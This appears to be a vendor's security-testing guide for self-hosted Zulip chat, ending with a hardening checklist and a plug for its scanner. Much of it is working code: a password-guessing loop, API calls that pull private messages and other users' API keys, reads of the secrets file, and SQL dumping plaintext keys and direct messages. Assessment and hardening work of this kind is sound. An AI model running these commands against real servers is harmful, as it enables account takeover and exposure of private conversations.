Team Chat Security Testing

Zulip Security Testing: Default Credentials, API Key, Database, and SECRET_KEY

📅 July 3, 2026 ⏱ 11 min read 🏷 Zulip, Team Chat Security, SECRET_KEY, User API Keys, Message History, Private Messages, PostgreSQL, Bot API Keys

Zulip is a widely deployed self-hosted team messaging platform used as an open-source Slack alternative — it stores the complete organizational communication history including private messages, direct messages, and file attachments. Key assessment areas: SECRET_KEY is the Django secret key signing session cookies; every Zulip user and bot has a persistent API key stored in plaintext in the database providing full message read/write access; the PostgreSQL database contains all message content; and the admin API enables complete user and organizational data enumeration. This guide covers systematic Zulip security assessment.

Default Credentials and Admin Access Testing
User API Key Message Access and Enumeration
SECRET_KEY and Database Message Extraction
Zulip Security Hardening

Default Credentials and Admin Access Testing

# Zulip — default credentials and admin access testing
ZULIP_URL="https://zulip.example.com"

# Zulip does not have a single set of default credentials
# But organizations often set up demo/test accounts with weak passwords
# Test common patterns for admin accounts
for CRED in "admin@example.com:admin" "admin@zulip.example.com:admin" \
            "zulip-admin@example.com:password" "it@example.com:admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -X POST "${ZULIP_URL}/api/v1/fetch_api_key" \
    -d "username=${EMAIL}&password=${PASS}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('result') == 'success':
    print(f'OK api_key={d.get(\"api_key\",\"\")[:20]}... email={d.get(\"email\")}')
else:
    print(f'FAIL ({d.get(\"msg\",\"\")})')
" 2>/dev/null)
  echo "${EMAIL}: ${STATUS}"
done

# Enumerate public streams (may not require auth in some configs)
curl -s -u "user@example.com:your-api-key" \
  "${ZULIP_URL}/api/v1/streams?include_public=true" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
streams = d.get('streams',[])
print(f'Streams: {len(streams)}')
for s in streams[:10]:
    print(f'  #{s.get(\"name\")} invite_only={s.get(\"invite_only\")} history_public={s.get(\"history_public_to_subscribers\")}')
    print(f'    desc={str(s.get(\"description\",\"\"))[:60]}')
" 2>/dev/null

# Get all organization members (admin)
curl -s -u "admin@example.com:your-api-key" \
  "${ZULIP_URL}/api/v1/users" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('members',[])
print(f'Users: {len(members)}')
for u in members[:10]:
    print(f'  [{u.get(\"user_id\")}] {u.get(\"full_name\")} <{u.get(\"email\")}> bot={u.get(\"is_bot\")} admin={u.get(\"is_admin\")}')
" 2>/dev/null

User API Key Message Access and Enumeration

# Zulip user API key — message access and enumeration
ZULIP_URL="https://zulip.example.com"
USER_EMAIL="user@example.com"
USER_API_KEY="your-zulip-api-key"

# Get all messages from all public streams
curl -s -u "${USER_EMAIL}:${USER_API_KEY}" \
  "${ZULIP_URL}/api/v1/messages?anchor=newest&num_before=100&num_after=0&narrow=[]" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Messages (newest 100): {len(msgs)}')
for m in msgs[:10]:
    print(f'  [{m.get(\"id\")}] {m.get(\"sender_full_name\")} -> {m.get(\"display_recipient\")}')
    print(f'    {str(m.get(\"content\",\"\"))[:100]}')
    print(f'    {m.get(\"timestamp\")}')
" 2>/dev/null

# Get private messages (direct messages) for authenticated user
curl -s -u "${USER_EMAIL}:${USER_API_KEY}" \
  "${ZULIP_URL}/api/v1/messages?anchor=newest&num_before=100&num_after=0&narrow=$(python3 -c \"import urllib.parse,json; print(urllib.parse.quote(json.dumps([{'operator':'is','operand':'private'}])))\")" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Private/DM messages: {len(msgs)}')
for m in msgs[:5]:
    recip = m.get('display_recipient','')
    if isinstance(recip, list):
        recip = ', '.join(u.get('email','') for u in recip)
    print(f'  DM: {m.get(\"sender_full_name\")} -> {recip}')
    print(f'    {str(m.get(\"content\",\"\"))[:100]}')
" 2>/dev/null

# Get API key for another user (admin only) — key escalation
ADMIN_API_KEY="admin-api-key"
curl -s -u "admin@example.com:${ADMIN_API_KEY}" \
  "${ZULIP_URL}/api/v1/users/{user-id}/api_key" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API key: {d.get(\"api_key\",\"\")}')
" 2>/dev/null

SECRET_KEY and Database Message Extraction

# Zulip SECRET_KEY and database message extraction

# Zulip configuration — /etc/zulip/settings.py and secrets
cat /etc/zulip/zulip-secrets.conf 2>/dev/null | grep -E "secret_key|rabbitmq_password|redis_password|email_password|s3_key"
cat /etc/zulip/settings.py 2>/dev/null | grep -E "SECRET_KEY|DATABASE|REDIS|RABBITMQ" | head -20
# secret_key: Django SECRET_KEY for session signing
# rabbitmq_password: RabbitMQ message queue credentials
# redis_password: Redis session/cache credentials
# email_password: SMTP credentials

# Docker environment inspection
docker inspect zulip 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e.upper() for k in ['SECRET','PASSWORD','KEY','TOKEN','SMTP']):
            print(e)
" 2>/dev/null

# PostgreSQL — all Zulip organizational data
psql -U zulip -d zulip 2>/dev/null << 'EOF'
-- All users with API keys (CRITICAL)
SELECT u.id, u.email, u.full_name,
       u.api_key,          -- PLAINTEXT API key
       u.is_active, u.is_realm_admin, u.is_bot,
       u.date_joined
FROM zerver_userprofile u
ORDER BY u.is_realm_admin DESC, u.date_joined ASC
LIMIT 20;
EOF
-- api_key: PLAINTEXT — every user's API key stored unencrypted

-- All messages (including private messages)
psql -U zulip -d zulip 2>/dev/null << 'EOF'
SELECT m.id, m.content,
       sender.email as sender,
       r.type as recipient_type,
       m.pub_date
FROM zerver_message m
JOIN zerver_userprofile sender ON m.sender_id = sender.id
JOIN zerver_recipient r ON m.recipient_id = r.id
ORDER BY m.id DESC
LIMIT 30;
EOF
-- type 1=personal(DM), type 2=stream, type 3=huddle

-- Bot API keys (automation credentials)
psql -U zulip -d zulip 2>/dev/null << 'EOF'
SELECT u.email, u.full_name,
       u.api_key as bot_api_key,
       u.bot_type, u.bot_owner_id
FROM zerver_userprofile u
WHERE u.is_bot = TRUE
ORDER BY u.date_joined DESC
LIMIT 10;
EOF

Zulip Security Hardening

Zulip Security Hardening Checklist:

Protect SECRET_KEY and all secrets in zulip-secrets.conf — Zulip stores its secrets in /etc/zulip/zulip-secrets.conf including the Django SECRET_KEY, RabbitMQ password, Redis password, and SMTP credentials; SECRET_KEY compromise allows forging Django session cookies for any user; restrict file permissions on zulip-secrets.conf (readable only by the Zulip application user); rotate SECRET_KEY if compromised (invalidates all sessions); be aware that Zulip has multiple secrets that each control different attack surfaces — RabbitMQ password controls the internal message queue, Redis password controls sessions and caching, SMTP password controls email delivery
Treat plaintext API keys as the highest-privilege credential — every Zulip user and bot account has a persistent API key stored in plaintext in the zerver_userprofile table; unlike passwords which are hashed, API keys are stored unencrypted and can be directly used for authentication; an attacker with database read access obtains working API keys for every user in the organization; users can rotate their own API keys in settings, but this does not happen automatically; implement database access controls strictly; monitor for bulk API access patterns that may indicate compromised API keys being used for message exfiltration
Restrict private message access and audit data retention — Zulip's private messages and direct messages are stored in the same zerver_message table as public stream messages; an admin with API access can query messages by narrowing on message type; implement data retention policies (Zulip has built-in retention settings) to automatically delete messages after a defined period; disable history_public_to_subscribers for sensitive streams so new members cannot read historical messages; be aware that the admin API's get_messages endpoint can retrieve messages from any stream including private streams the admin is not subscribed to
Audit bot accounts and their API key scope — Zulip bots are user accounts with api keys that have full message access; bots created for integrations (CI/CD notifications, monitoring alerts, etc.) accumulate API keys that are often shared across teams; audit all bot accounts and delete those that are no longer in use; consider restricting bots to specific streams rather than giving them organization-wide access; revoke and regenerate API keys for bots when they are handed off between team members or when an engineer leaves; bot API keys do not expire and are not subject to 2FA requirements
Secure the Zulip deployment infrastructure — Zulip requires RabbitMQ, Redis, PostgreSQL, and nginx running on the same server or accessible from it; secure each component separately with strong unique passwords stored in zulip-secrets.conf; firewall RabbitMQ (default port 5672) and Redis (default port 6379) to localhost only — these should not be externally accessible; implement fail2ban or similar rate limiting on the Zulip login endpoint to prevent credential brute force; enable 2FA for admin accounts via TOTP; monitor Zulip's /json/users/me/presence endpoint which exposes real-time user presence (online/active status)

Security Test	Method	Risk
Plaintext API key extraction for all users	SELECT api_key FROM zerver_userprofile — plaintext API keys for every user and bot; each key provides full message read/write access for that user; admin user API keys provide organization-wide message access and user management	Critical
SECRET_KEY extraction and Django session forgery	Read /etc/zulip/zulip-secrets.conf secret_key — forge Django session cookies for any user; bypasses password and 2FA; full admin panel access with admin session	High
Complete message history extraction via API	GET /api/v1/messages with anchor=0 paging — enumerate all stream messages with any authenticated API key; private streams accessible to admin; DMs accessible to sender/recipient API key	High
PostgreSQL zerver_message private message extraction	SELECT content FROM zerver_message WHERE recipient type=1 — all private/direct messages in plaintext; complete organizational communication history including sensitive discussions	High
Admin API user API key retrieval	GET /api/v1/users/{user-id}/api_key with admin credentials — retrieve any user's API key via API; combined with user enumeration, obtains keys for all high-privilege users	High

Automate Zulip Security Testing

Ironimo tests Zulip deployments for plaintext API key extraction from zerver_userprofile, SECRET_KEY extraction and Django session forgery, complete message history extraction via API, PostgreSQL private message and DM content extraction, admin API user API key retrieval, bot account API key enumeration, RabbitMQ/Redis/PostgreSQL credential exposure, SMTP password extraction from secrets configuration, stream permission misconfiguration (history public to subscribers), and user activity and IP address extraction from admin panel.

Start free scan

Table of Contents

Default Credentials and Admin Access Testing

User API Key Message Access and Enumeration

SECRET_KEY and Database Message Extraction

Zulip Security Hardening

Automate Zulip Security Testing